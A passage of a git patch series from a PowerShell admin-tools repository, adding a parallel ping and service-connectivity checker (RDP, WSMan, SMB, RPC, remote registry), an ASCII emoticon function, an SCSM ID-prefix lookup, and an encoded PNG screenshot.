$runspacepool + + #Create a temporary collection for each runspace + $temp = "" | Select-Object PowerShell, StartTime, object, Runspace + $temp.PowerShell = $powershell + $temp.StartTime = Get-Date + $temp.object = $object + + #Save the handle output when calling BeginInvoke() that will be used later to end the runspace + $temp.Runspace = $powershell.BeginInvoke() + $startedCount++ + + #Add the temp tracking info to $runspaces collection + Write-Verbose ("Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring()) + $runspaces.Add($temp) | Out-Null + + #loop through existing runspaces one time + Get-RunspaceData + + #If we have more running than max queue (used to control timeout accuracy) + #Script scope resolves odd PowerShell 2 issue + $firstRun = $true + while ($runspaces.count -ge $Script:MaxQueue) + { + + #give verbose output + if ($firstRun) + { + Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." + } + $firstRun = $false + + #run get-runspace data and sleep for a short while + Get-RunspaceData + Start-Sleep -Milliseconds $sleepTimer + + } + + #endregion add scripts to runspace pool + } + + Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where { $_.Runspace -ne $Null }).Count)) + Get-RunspaceData -wait + + if (-not $quiet) + { + Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed + } + + } + Finally + { + #Close the runspace pool, unless we specified no close on timeout and something timed out + if (($timedOutTasks -eq $false) -or (($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false))) + { + Write-Verbose "Closing the runspace pool" + $runspacepool.close() + } + + #collect garbage + [gc]::Collect() + } + } + } + + Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" + + $bound = $PSBoundParameters.keys -contains "ComputerName" + if (-not $bound) + { + [System.Collections.ArrayList]$AllComputers = @() + } + } + Process + { + + #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work + if ($bound) + { + $AllComputers = $ComputerName + } + Else + { + foreach ($Computer in $ComputerName) + { + $AllComputers.add($Computer) | Out-Null + } + } + + } + End + { + + #Built up the parameters and run everything in parallel + $params = @($Detail, $Quiet) + $splat = @{ + Throttle = $Throttle + RunspaceTimeout = $Timeout + InputObject = $AllComputers + parameter = $params + } + if ($NoCloseOnTimeout) + { + $splat.add('NoCloseOnTimeout', $True) + } + + Invoke-Parallel @splat -ScriptBlock { + + $computer = $_.trim() + $detail = $parameter[0] + $quiet = $parameter[1] + + #They want detail, define and run test-server + if ($detail) + { + Try + { + #Modification of jrich's Test-Server function: https://gallery.technet.microsoft.com/scriptcenter/Powershell-Test-Server-e0cdea9a + Function Test-Server + { + [cmdletBinding()] + param ( + [parameter( + Mandatory = $true, + ValueFromPipeline = $true)] + [string[]]$ComputerName, + + [switch]$All, + + [parameter(Mandatory = $false)] + [switch]$CredSSP, + + [switch]$RemoteReg, + + [switch]$RDP, + + [switch]$RPC, + + [switch]$SMB, + + [switch]$WSMAN, + + [switch]$IPV6, + + [Management.Automation.PSCredential]$Credential + ) + begin + { + $total = Get-Date + $results = @() + if ($credssp -and -not $Credential) + { + Throw "Must supply Credentials with CredSSP test" + } + + [string[]]$props = write-output Name, IP, Domain, Ping, WSMAN, CredSSP, RemoteReg, RPC, RDP, SMB + + #Hash table to create PSObjects later, compatible with ps2... + $Hash = @{ } + foreach ($prop in $props) + { + $Hash.Add($prop, $null) + } + + function Test-Port + { + [cmdletbinding()] + Param ( + [string]$srv, + + $port = 135, + + $timeout = 3000 + ) + $ErrorActionPreference = "SilentlyContinue" + $tcpclient = new-Object system.Net.Sockets.TcpClient + $iar = $tcpclient.BeginConnect($srv, $port, $null, $null) + $wait = $iar.AsyncWaitHandle.WaitOne($timeout, $false) + if (-not $wait) + { + $tcpclient.Close() + Write-Verbose "Connection Timeout to $srv`:$port" + $false + } + else + { + Try + { + $tcpclient.EndConnect($iar) | out-Null + $true + } + Catch + { + write-verbose "Error for $srv`:$port`: $_" + $false + } + $tcpclient.Close() + } + } + } + + process + { + foreach ($name in $computername) + { + $dt = $cdt = Get-Date + Write-verbose "Testing: $Name" + $failed = 0 + try + { + $DNSEntity = [Net.Dns]::GetHostEntry($name) + $domain = ($DNSEntity.hostname).replace("$name.", "") + $ips = $DNSEntity.AddressList | %{ + if (-not (-not $IPV6 -and $_.AddressFamily -like "InterNetworkV6")) + { + $_.IPAddressToString + } + } + } + catch + { + $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst.name = $name + $results += $rst + $failed = 1 + } + Write-verbose "DNS: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + if ($failed -eq 0) + { + foreach ($ip in $ips) + { + + $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst.name = $name + $rst.ip = $ip + $rst.domain = $domain + + if ($RDP -or $All) + { + ####RDP Check (firewall may block rest so do before ping + try + { + $socket = New-Object Net.Sockets.TcpClient($name, 3389) -ErrorAction stop + if ($socket -eq $null) + { + $rst.RDP = $false + } + else + { + $rst.RDP = $true + $socket.close() + } + } + catch + { + $rst.RDP = $false + Write-Verbose "Error testing RDP: $_" + } + } + Write-verbose "RDP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + #########ping + if (test-connection $ip -count 2 -Quiet) + { + Write-verbose "PING: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + $rst.ping = $true + + if ($WSMAN -or $All) + { + try + { + ############wsman + Test-WSMan $ip -ErrorAction stop | Out-Null + $rst.WSMAN = $true + } + catch + { + $rst.WSMAN = $false + Write-Verbose "Error testing WSMAN: $_" + } + Write-verbose "WSMAN: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + if ($rst.WSMAN -and $credssp) ########### credssp + { + try + { + Test-WSMan $ip -Authentication Credssp -Credential $cred -ErrorAction stop + $rst.CredSSP = $true + } + catch + { + $rst.CredSSP = $false + Write-Verbose "Error testing CredSSP: $_" + } + Write-verbose "CredSSP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + } + if ($RemoteReg -or $All) + { + try ########remote reg + { + [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $ip) | Out-Null + $rst.remotereg = $true + } + catch + { + $rst.remotereg = $false + Write-Verbose "Error testing RemoteRegistry: $_" + } + Write-verbose "remote reg: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + if ($RPC -or $All) + { + try ######### wmi + { + $w = [wmi] '' + $w.psbase.options.timeout = 15000000 + $w.path = "\\$Name\root\cimv2:Win32_ComputerSystem.Name='$Name'" + $w | select none | Out-Null + $rst.RPC = $true + } + catch + { + $rst.rpc = $false + Write-Verbose "Error testing WMI/RPC: $_" + } + Write-verbose "WMI/RPC: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + if ($SMB -or $All) + { + + #Use set location and resulting errors. push and pop current location + try ######### C$ + { + $path = "\\$name\c$" + Push-Location -Path $path -ErrorAction stop + $rst.SMB = $true + Pop-Location + } + catch + { + $rst.SMB = $false + Write-Verbose "Error testing SMB: $_" + } + Write-verbose "SMB: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + + } + } + else + { + $rst.ping = $false + $rst.wsman = $false + $rst.credssp = $false + $rst.remotereg = $false + $rst.rpc = $false + $rst.smb = $false + } + $results += $rst + } + } + Write-Verbose "Time for $($Name): $((New-TimeSpan $cdt ($dt)).totalseconds)" + Write-Verbose "----------------------------" + } + } + end + { + Write-Verbose "Time for all: $((New-TimeSpan $total ($dt)).totalseconds)" + Write-Verbose "----------------------------" + return $results + } + } + + #Build up parameters for Test-Server and run it + $TestServerParams = @{ + ComputerName = $Computer + ErrorAction = "Stop" + } + + if ($detail -eq "*") + { + $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" + } + + $detail | Select -Unique | Foreach-Object { $TestServerParams.add($_, $True) } + Test-Server @TestServerParams | Select -Property $("Name", "IP", "Domain", "Ping" + $detail) + } + Catch + { + Write-Warning "Error with Test-Server: $_" + } + } + #We just want ping output + else + { + Try + { + #Pick out a few properties, add a status label. If quiet output, just return the address + $result = $null + if ($result = @(Test-Connection -ComputerName $computer -Count 2 -erroraction Stop)) + { + $Output = $result | Select -first 1 -Property Address, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { "Responding" } } + + if ($quiet) + { + $Output.address + } + else + { + $Output + } + } + } + Catch + { + if (-not $quiet) + { + #Ping failed. I'm likely making inappropriate assumptions here, let me know if this is the case : ) + if ($_ -match "No such host is known") + { + $status = "Unknown host" + } + elseif ($_ -match "Error due to lack of resources") + { + $status = "No Response" + } + else + { + $status = "Error: $_" + } + + "" | Select -Property @{ label = "Address"; expression = { $computer } }, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { $status } } + } + } + } + } + } + } From a16f3e50a71ca048c699d3e7545266e1ebd74061 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 16 Mar 2016 09:04:48 -0400 Subject: [PATCH 070/561] Create Get-AsciiReaction.ps1 Get-AsciiReaction from Reddit --- TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 | 81 ++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 new file mode 100644 index 00000000..39b86d04 --- /dev/null +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -0,0 +1,81 @@ +function Get-AsciiReaction +{ +<# + + .SYNOPSIS + + Displays Ascii for different reactions and copies it to clipboard. + + .DESCRIPTION + + Displays Ascii for different reactions and copies it to clipboard. + + .EXAMPLE + + Get-AsciiReaction -Name Shrug + + Displays a shurg and copies it to clipboard. + + .NOTES + + Based on Reddit Thread https://www.reddit.com/r/PowerShell/comments/4aipw5/%E3%83%84/ + and Matt Hodge function: https://github.com/MattHodge/MattHodgePowerShell/blob/master/Fun/Get-Ascii.ps1 +#> + [cmdletbinding()] + Param + ( + # Name of the Ascii + [Parameter(Mandatory = $true)] + [ValidateSet( + 'Shrug', + 'Disapproval', + 'TableFlip', + 'TableBack', + 'TableFlip2', + 'TableBack2', + 'TableFlip3', + 'Denko', + 'BlowKiss', + 'Lenny', + 'Angry', + 'DontKnow')] + [string]$Name + ) + + $OutputEncoding = [System.Text.Encoding]::unicode + + # Function to write ascii to screen as well as clipboard it + function Write-Ascii + { + [CmdletBinding()] + Param + ( + # Ascii Data + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] + [string]$Ascii + ) + + # Clips it without the newline + Add-Type -Assembly PresentationCore + $clipText = ($Ascii).ToString() | Out-String -Stream + [Windows.Clipboard]::SetText($clipText) + + Write-Output $clipText + } + + Switch ($Name) + { + 'Shrug' { [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii } + 'Disapproval' { [char[]]@(3232, 95, 3232) -join '' | Write-Ascii } + 'TableFlip' { [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii } + 'TableBack' { [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii } + 'TableFlip2' { [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii } + 'TableBack2' { [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii } + 'TableFlip3' { [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii } + 'Denko' { [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii } + 'BlowKiss' { [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii } + 'Lenny' { [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii } + 'Angry' { [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii } + 'DontKnow' { [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } + } +} From 03582786645b3f9b28f9ad379026594bc24e3a43 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 16 Mar 2016 14:08:41 -0400 Subject: [PATCH 071/561] Update Get-AsciiReaction.ps1 Remove the mandatory requirement. If no name is specified, it will show all the Ascii reaction --- TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 index 39b86d04..8ee42575 100644 --- a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -25,7 +25,7 @@ function Get-AsciiReaction Param ( # Name of the Ascii - [Parameter(Mandatory = $true)] + [Parameter()] [ValidateSet( 'Shrug', 'Disapproval', @@ -77,5 +77,22 @@ function Get-AsciiReaction 'Lenny' { [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii } 'Angry' { [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii } 'DontKnow' { [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } + default + { + [PSCustomObject][ordered]@{ + 'Shrug' = [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii + 'Disapproval' = [char[]]@(3232, 95, 3232) -join '' | Write-Ascii + 'TableFlip' = [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii + 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii + 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii + 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii + 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii + 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii + 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii + 'Lenny' = [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii + 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii + 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii + } + } } } From 6fa4db9805fb491c5f67c0cfdcc098052ee9d0ce Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 16 Mar 2016 14:27:10 -0400 Subject: [PATCH 072/561] Create Get-SCSMObjectPrefix.ps1 Update Help Correct Typo in ValidateSet Correct ManualActivity query (it was returning the RA) --- .../Get-SCSMObjectPrefix.ps1 | 108 ++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 new file mode 100644 index 00000000..ffc021b0 --- /dev/null +++ b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 @@ -0,0 +1,108 @@ +function Get-SCSMObjectPrefix +{ +<# + .SYNOPSIS + Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article + + .DESCRIPTION + Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article + + .PARAMETER ClassName + Specified the ClassName you want to query + + .EXAMPLE + Get-SCSMObjectPrefix + + DependentActivity : DA + ManualActivity : MA + ParallelActivity : PA + ReviewActivity : RA + RunbookAutomationActivity : RB + SequentialActivity : SA + IncidentRequest : IR + ServiceRequest : SR + Change : CR + Knowledge : KA + Problem : PR + Release : RR + + .EXAMPLE + Get-SCSMObjectPrefix -ClassName Change + + CR + + .NOTES + Francois-Xavier Cat + www.lazywinadmin + @lazywinadm + github.com/lazywinadmin +#> + + [OutputType([psobject])] + param + ( + [ValidateSet( + 'DependentActivity', + 'ManualActivity', + 'ParallelActivity', + 'ReviewActivity', + 'RunbookAutomationActivity', + 'SequentialActivity', + 'IncidentRequest', + 'ServiceRequest', + 'Change', + 'Knowledge', + 'Problem', + 'Release' + )] + [string]$ClassName + ) + + BEGIN + { + Import-Module -Name Smlets + + $ActivitySettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ActivitySettings") + $ChangeSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ChangeSettings") + $KnowledgedSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.KnowledgeSettings") + $ProblemSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ProblemSettings") + $ReleaseSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ReleaseSettings") + $ServiceRequestSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ServiceRequestSettings") + $IncidentRequestSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.WorkItem.Incident.GeneralSetting") + } + PROCESS + { + Switch ($ClassName) + { + "DependentActivity" { $ActivitySettingsObj.SystemWorkItemActivityDependentActivityIdPrefix } + "ManualActivity" { $ActivitySettingsObj.SystemWorkItemActivityManualActivityIdPrefix } + "ParallelActivity" { $ActivitySettingsObj.SystemWorkItemActivityParallelActivityIdPrefix } + "ReviewActivity" { $ActivitySettingsObj.SystemWorkItemActivityReviewActivityIdPrefix } + "RunbookAutomationActivity" { $ActivitySettingsObj.MicrosoftSystemCenterOrchestratorRunbookAutomationActivityBaseIdPrefix } + "SequentialActivity" { $ActivitySettingsObj.SystemWorkItemActivitySequentialActivityIdPrefix } + "IncidentRequest" { $IncidentRequestSettingsObj.PrefixForId } + "ServiceRequest" { $ServiceRequestSettingsObj.ServiceRequestPrefix } + "Change" { $ChangeSettingsObj.SystemWorkItemChangeRequestIdPrefix } + "Knowledge" { $KnowledgedSettingsObj.SystemKnowledgeArticleIdPrefix } + "Problem" { $ProblemSettingsObj.ProblemIdPrefix } + "Release" { $ReleaseSettingsObj.SystemWorkItemReleaseRecordIdPrefix } + default + { + [pscustomobject][ordered]@{ + "DependentActivity" = $ActivitySettingsObj.SystemWorkItemActivityDependentActivityIdPrefix + "ManualActivity" = $ActivitySettingsObj.SystemWorkItemActivityManualActivityIdPrefix + "ParallelActivity" = $ActivitySettingsObj.SystemWorkItemActivityParallelActivityIdPrefix + "ReviewActivity" = $ActivitySettingsObj.SystemWorkItemActivityReviewActivityIdPrefix + "RunbookAutomationActivity" = $ActivitySettingsObj.MicrosoftSystemCenterOrchestratorRunbookAutomationActivityBaseIdPrefix + "SequentialActivity" = $ActivitySettingsObj.SystemWorkItemActivitySequentialActivityIdPrefix + "IncidentRequest" = $IncidentRequestSettingsObj.PrefixForId + "ServiceRequest" = $ServiceRequestSettingsObj.ServiceRequestPrefix + "Change" = $ChangeSettingsObj.SystemWorkItemChangeRequestIdPrefix + "Knowledge" = $KnowledgedSettingsObj.SystemKnowledgeArticleIdPrefix + "Problem" = $ProblemSettingsObj.ProblemIdPrefix + "Release" = $ReleaseSettingsObj.SystemWorkItemReleaseRecordIdPrefix + } + } + } + } +} From 86c2936d98e76fe347c5ac2952e6ec1c41b9bdf2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 16 Mar 2016 14:28:24 -0400 Subject: [PATCH 073/561] Added files via upload Add screenshot --- .../Get-SCSMObjectPrefix.png | Bin 0 -> 39416 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png new file mode 100644 index 0000000000000000000000000000000000000000..d365074bf806ce985c2bcf49313247c19a7adda9 GIT binary patch literal 39416 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 